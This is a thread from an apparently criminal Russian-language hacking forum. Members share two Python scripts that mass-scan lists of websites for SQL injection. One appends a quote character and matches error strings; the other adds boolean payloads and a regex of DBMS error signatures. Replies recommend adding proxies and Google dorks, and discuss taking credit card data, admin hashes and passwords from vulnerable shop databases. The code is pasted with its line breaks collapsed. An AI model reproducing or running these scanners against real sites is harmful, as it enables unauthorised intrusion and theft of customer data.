Авторизация  
Caligul

[Python] Простенький чекер на SQL INJ

В теме 13 сообщений

Code:
import osimport sysimport urllibdef log_crt(name, text):	if os.path.exists(name):		open(name, 'a+').write(text)		return True	else:		return False		def sites(name, id):	if os.path.exists(name):		text = open(name, 'r').readlines()		return text[id]	else:		sys.exit(1)print("[!] SQL Inj checker")	if __name__ == "__main__":	if sys.argv[1] != "" and sys.argv[2] != "":		for i in range(0, len(open(sys.argv[1], 'r').readlines())):			site = sites(sys.argv[1], i)			try:				html = urllib.urlopen(site + "'").read()				if 'SQL' in html or 'syntax' in html or 'Warning' in html:					log_crt(sys.argv[2], site)					print("[033[1;32mGOOD033[1;m] " + site)				else:					print("[033[1;31mERROR033[1;m] " + site)			except:				pass		print("[033[1;32mDellete repeat domains033[1;m]")		for i in range(0, len(open(sys.argv[2], 'r').readlines())):			domain = sites(sys.argv[2], i).replace('http://', '').split('/')			for j in range(0, len(open(sys.argv[2], 'r').readlines())):				dell_domain = sites(sys.argv[2], i).replace('http://', '').split('/')				if(dell_domain[0] == domain[0]):					f = open(sys.argv[2]).read()					f.replace(sites(sys.argv[2], j), '')		print("[033[1;32mDone033[1;m]")else:	print("Error!")
Написал за пару минут и сам его использую, запускать так: python script_name.py файл_с_сайтами.txt файл_для_сохранения_результатов.txt

Поделиться сообщением


Ссылка на сообщение

Добавь многопоток и работу через прокси.

И таких не найдешь на просторах даркнета.

 

+++

Поделиться сообщением


Ссылка на сообщение

Есть в мыслях сделать универсальную штуку. Типа закинул дорки, скрипт будет парсить выдачу и сразу чекать на инъекции

Поделиться сообщением


Ссылка на сообщение
я думал шопы уже не хранят СС в БД... неужели тема жива?

В БД есть много чего интересного кроме CC...

Поделиться сообщением


Ссылка на сообщение
В БД есть много чего интересного кроме CC...

админка в хэш виде, и куча логов и пассов... вроде все?

Поделиться сообщением


Ссылка на сообщение

nikto 2.1.6-1

A web server scanner which performs comprehensive tests against web servers for multiple items :(

sqlmap 1.0.7-1

Automatic SQL injection and database takeover tool

 

win - acunetix, havij

 

Добавлено через 2 минуты 39 секунд

админка в хэш виде, и куча логов и пассов... вроде все?

 

Что означает админка в хэш виде? Как может быть код в хэш виде? Хэширование - не обратимое шифрование, и его применяют часто только к паролям.

 

Добавлено через 3 минуты 52 секунды

Originally Posted by Caligula buttons
Code:
import osimport sysimport urllibdef log_crt(name, text):	if os.path.exists(name):		open(name, 'a+').write(text)		return True	else:		return False		def sites(name, id):	if os.path.exists(name):		text = open(name, 'r').readlines()		return text[id]	else:		sys.exit(1)print("[!] SQL Inj checker")	if __name__ == "__main__":	if sys.argv[1] != "" and sys.argv[2] != "":		for i in range(0, len(open(sys.argv[1], 'r').readlines())):			site = sites(sys.argv[1], i)			try:				html = urllib.urlopen(site + "'").read()				if 'SQL' in html or 'syntax' in html or 'Warning' in html:					log_crt(sys.argv[2], site)					print("[033[1;32mGOOD033[1;m] " + site)				else:					print("[033[1;31mERROR033[1;m] " + site)			except:				pass		print("[033[1;32mDellete repeat domains033[1;m]")		for i in range(0, len(open(sys.argv[2], 'r').readlines())):			domain = sites(sys.argv[2], i).replace('http://', '').split('/')			for j in range(0, len(open(sys.argv[2], 'r').readlines())):				dell_domain = sites(sys.argv[2], i).replace('http://', '').split('/')				if(dell_domain[0] == domain[0]):					f = open(sys.argv[2]).read()					f.replace(sites(sys.argv[2], j), '')		print("[033[1;32mDone033[1;m]")else:	print("Error!")
Написал за пару минут и сам его использую, запускать так: python script_name.py файл_с_сайтами.txt файл_для_сохранения_результатов.txt

ни хера сигнатурка

Code:
				if 'SQL' in html or 'syntax' in html or 'Warning' in html:

и слово

Dellete

казнить нельзя помиловать

Поделиться сообщением


Ссылка на сообщение
Originally Posted by Caligula
Есть в мыслях сделать универсальную штуку. Типа закинул дорки, скрипт будет парсить выдачу и сразу чекать на инъекции
Уже есть. Web надстройка под sql map. Хоть лучше sqlmapa я лучше еще не видел - само стремление писать и делать самому достойно уважения

Поделиться сообщением


Ссылка на сообщение

Чуваки, я грубо говоря просто хотел сделать хоть мизерный, но вклад в этот ресурс. Вот и написал за несколько минут данный чекер. А так, скоро готовится еще один проект, но уже другого масштаба

Поделиться сообщением


Ссылка на сообщение
Originally Posted by Caligula
Code:
import osimport sysimport urllibdef log_crt(name, text):	if os.path.exists(name):		open(name, 'a+').write(text)		return True	else:		return False		def sites(name, id):	if os.path.exists(name):		text = open(name, 'r').readlines()		return text[id]	else:		sys.exit(1)print("[!] SQL Inj checker")	if __name__ == "__main__":	if sys.argv[1] != "" and sys.argv[2] != "":		for i in range(0, len(open(sys.argv[1], 'r').readlines())):			site = sites(sys.argv[1], i)			try:				html = urllib.urlopen(site + "'").read()				if 'SQL' in html or 'syntax' in html or 'Warning' in html:					log_crt(sys.argv[2], site)					print("[033[1;32mGOOD033[1;m] " + site)				else:					print("[033[1;31mERROR033[1;m] " + site)			except:				pass		print("[033[1;32mDellete repeat domains033[1;m]")		for i in range(0, len(open(sys.argv[2], 'r').readlines())):			domain = sites(sys.argv[2], i).replace('http://', '').split('/')			for j in range(0, len(open(sys.argv[2], 'r').readlines())):				dell_domain = sites(sys.argv[2], i).replace('http://', '').split('/')				if(dell_domain[0] == domain[0]):					f = open(sys.argv[2]).read()					f.replace(sites(sys.argv[2], j), '')		print("[033[1;32mDone033[1;m]")else:	print("Error!")
Написал за пару минут и сам его использую, запускать так: python script_name.py файл_с_сайтами.txt файл_для_сохранения_результатов.txt
Как то тоже писал подобный скрипт для чека SQL Injection, чекает по ключевым словам(Mysql, MSSQL, PostgreSQL и.т.д....) и сравнивает процент сходства страниц - это для того если нет прямого вывода на страницу, пожалуй тоже выложу сюда, писал давно когда начинал учить python внешни вид кода оставляет желать лутшего )
Code:
#!/usr/bin/env python3.5import itertools, warnings, difflib, argparse, requests, hashlib, sys, refrom requests.packages import urllib3urllib3.disable_warnings()headers = {'user-agent': 'Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.450 Mobile Safari/534.8+'}PROXY = NoneBOOLEAN_CHECK = "/**/AND/**/123=123"BOOLEAN_TEST  = "/**/AND/**/123=125"TIMEOUT = 5DBMS_SIGN = re.compile(r"SQL syntax.*MySQL|Warning.*mysql_.*|SQL syntax|mysql_num_rows|mysql_fetch_array|Driver.* SQL[-_ ]*Server|OLE DB.* SQL Server|Warning.*mssql_.*|Microsoft Access Driver|Access Database Engine|Server Error in|PostgreSQL.*ERROR|Npgsql.|valid PostgreSQL result|Oracle error|Oracle.*Driver|Warning.*Woci_.*|CLI Driver.*DB2|DB2 SQL error|SQLite/JDBCDriver|SQLite.Exception|Warning.*sqlite_.*|(?i)Warning.*sybase.*|Sybase message")HTML_CLEAN = re.compile(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|s+")TARGET_PARAM = re.compile(r"(=[a-zA-Z0-9]*)")REDIRECT = "False"VERSION = 0.1COEFFICENT = 0.95parser = argparse.ArgumentParser(description='SQL injection check tools v'+str(VERSION))parser.add_argument("-l", dest="list", help="Choose link list", type=argparse.FileType(), required=True)args = parser.parse_args()try:    for link in args.list:         prefix = link.find("http")         if prefix != 0:             link = "http://"+link         else:             None             def page_source_text(sql_link):             try:                  sql_link = requests.get(sql_link, headers=headers, verify=False, timeout=TIMEOUT, allow_redirects=REDIRECT)                   page_text = sql_link.text                 page_code = sql_link.status_code                 page_text = HTML_CLEAN.sub(' ', page_text)                 return page_text, page_code             except requests.exceptions.RequestException:                 return sql_link         def boolean_test_sql(link):             bool_targ = TARGET_PARAM.sub(r"1"+BOOLEAN_CHECK, link)             bool_targ2 = TARGET_PARAM.sub(r"1"+BOOLEAN_TEST, link)             original_targ = page_source_text(link)             bool_targ = page_source_text(bool_targ)             bool_targ2 = page_source_text(bool_targ2)             http_code = original_targ[1]             vulns = difflib.SequenceMatcher(None, original_targ[0], bool_targ[0]).quick_ratio()             vulns1 = difflib.SequenceMatcher(None, original_targ[0], bool_targ2[0]).quick_ratio()             if http_code == 200 or http_code == 500:                if vulns >= COEFFICENT and vulns1 <= COEFFICENT:                    print (" [ + ] ",link)         sql_target = TARGET_PARAM.sub(r"1"+"'", link)         union_target = page_source_text(sql_target)         sql_text = union_target[0]         req_code_sql = union_target[1]         if req_code_sql == 200 or req_code_sql == 500:             dbms_error = DBMS_SIGN.search(sql_text) is not None             if dbms_error != 0:                 print (" [ + ] ",link)             else:                 boolean_test_sql(link)         except KeyboardInterrupt:    print ("r [x] Ctrl-C pressed")

Поделиться сообщением


Ссылка на сообщение

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти
Авторизация